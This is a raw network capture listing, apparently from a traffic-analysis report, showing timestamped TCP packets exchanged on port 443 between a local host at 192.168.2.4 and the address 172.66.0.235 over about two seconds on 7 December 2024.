                                                                                                                                                                  Dec 7, 2024 15:43:19.779397964 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:19.779422998 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:19.785343885 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:19.785358906 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:19.785423994 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:19.785429955 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:19.785474062 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:19.792098045 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:19.792112112 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:19.792181015 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:19.792186022 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:19.792224884 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:19.796843052 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:19.796876907 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:19.796905041 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:19.796909094 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:19.796941996 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:19.798670053 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:19.798719883 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:19.798728943 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:19.798767090 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:19.804680109 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:19.804697037 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:19.804750919 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:19.804760933 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:19.804809093 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:19.810844898 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:19.810859919 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:19.810950994 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:19.810956001 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:19.811000109 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:19.817553043 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:19.817567110 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:19.817621946 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:19.817625999 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:19.817662954 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:19.822374105 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:19.822416067 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:19.822451115 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:19.822458029 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:19.822478056 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:19.865593910 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:19.970110893 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:19.970134020 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:19.970248938 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:19.970262051 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:19.970300913 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:19.976270914 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:19.976288080 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:19.976344109 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:19.976349115 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:19.976386070 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:19.982218027 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:19.982240915 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:19.982276917 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:19.982283115 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:19.982309103 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:19.982322931 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:19.988909960 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:19.988929033 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:19.988989115 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:19.988992929 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:19.989031076 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:19.995515108 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:19.995532990 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:19.995590925 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:19.995594978 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:19.995630026 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.001983881 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.002003908 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.002054930 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.002059937 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.002098083 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.008498907 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.008517027 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.008568048 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.008573055 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.008613110 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.014327049 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.014348030 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.014410019 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.014415979 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.014451027 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.162357092 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.162378073 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.162643909 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.162653923 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.162717104 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.168523073 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.168540001 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.168608904 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.168615103 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.168654919 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.175168991 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.175185919 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.175240040 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.175244093 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.175282001 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.181001902 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.181019068 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.181102991 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.181108952 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.181149960 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.187808037 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.187824011 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.187916040 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.187927008 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.187973976 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.194026947 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.194046974 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.194123983 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.194129944 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.194174051 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.200712919 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.200731039 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.200812101 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.200818062 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.200861931 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.207298040 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.207324028 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.207375050 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.207384109 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.207410097 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.207432985 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.354718924 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.354739904 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.354811907 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.354825974 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.354866982 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.360827923 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.360846996 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.360899925 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.360907078 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.360949039 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.367408991 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.367428064 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.367481947 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.367487907 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.367527962 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.373318911 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.373339891 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.373382092 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.373389006 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.373416901 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.373435974 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.380242109 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.380263090 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.380297899 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.380302906 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.380331039 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.380350113 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.386272907 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.386291027 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.386337996 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.386343956 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.386405945 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.386466026 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.393013954 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.393032074 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.393083096 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.393089056 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.393126965 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.399605036 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.399626017 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.399668932 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.399674892 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.399698973 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.399718046 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.546881914 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.546902895 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.547034025 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.547044039 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.547089100 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.552918911 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.552937031 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.552999020 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.553005934 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.553047895 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.559521914 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.559537888 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.559592009 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.559597015 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.559645891 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.566243887 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.566261053 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.566353083 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.566359043 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.566416025 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.567331076 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.567399979 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.573926926 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.573947906 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.573993921 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.573999882 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.574023962 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.580347061 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.580373049 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.580399990 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.580405951 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.580431938 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.587053061 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.587069035 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.587127924 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.587140083 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.587151051 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.593859911 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.593883991 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.593938112 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.593951941 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.593971968 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.646827936 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.740345955 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.740364075 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.740451097 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.740458965 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.740500927 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.746948004 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.746972084 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.747050047 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.747056007 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.747096062 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.753684998 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.753703117 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.753772974 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.753778934 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.753822088 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.759566069 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.759579897 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.759650946 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.759655952 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.759669065 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.759690046 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.766324997 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.766340971 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.766385078 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.766388893 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.766432047 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.772598982 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.772617102 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.772696018 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.772701025 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.772732019 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.772753954 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.779145956 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.779160023 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.779230118 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.779237032 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.779278040 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.785845041 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.785860062 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.785914898 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.785918951 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.785975933 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.932770967 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.932789087 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.932874918 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.932887077 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.932933092 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.939317942 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.939336061 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.939426899 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.939435959 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.939486980 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.946042061 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.946058989 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.946152925 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.946160078 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.946208000 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.952034950 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.952058077 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.952137947 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.952143908 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.952186108 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.958661079 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.958678007 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.958728075 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.958733082 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.958770990 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.964843035 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.964862108 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.964925051 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.964931011 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.964972973 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.971554041 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.971575022 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.971632004 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.971638918 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.971679926 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.978218079 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.978234053 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.978327036 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:20.978332043 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:20.978368998 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:21.124810934 CET44349730172.66.0.235192.168.2.4
